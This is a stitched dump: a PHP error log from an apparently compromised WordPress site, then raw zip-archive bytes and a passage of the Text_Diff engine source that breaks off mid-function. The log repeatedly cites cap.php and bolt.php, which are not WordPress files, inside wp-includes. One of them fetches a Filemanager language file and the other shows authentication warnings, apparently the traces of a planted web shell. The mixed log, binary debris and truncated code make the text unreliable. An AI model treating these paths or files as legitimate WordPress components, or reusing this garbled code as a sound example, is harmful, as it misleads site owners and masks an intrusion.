[25-Jun-2026 20:15:00 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:15:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:15:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:15:25 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:15:30 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:30 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:30 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:15:30 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:15:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:15:50 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:15:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:15:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:15:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:15:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:16:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:16:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:16:10 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:16:10 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:16:15 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:16:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:16:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:16:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:16:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:16:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:16:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:16:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:16:39 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:16:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:16:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:16:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:16:58 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:16:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:16:58 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 167
[25-Jun-2026 20:17:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:17:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:17:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:17:14 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:17:19 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:17:23 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:17:23 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:17:28 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:17:33 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:17:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:17:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:17:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:17:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:17:57 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:18:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:18:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:18:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:18:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:18:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:18:14 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:18:14 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:18:14 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:18:14 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:18:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:18:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:18:26 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:18:26 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 20:18:31 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:18:38 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:18:38 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:18:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:19:13 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:19:13 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:19:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:19:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:19:20 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1111
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1111
[25-Jun-2026 20:19:35 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
PK     |\p`\~  \~  
  Engine.zipnu [        PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
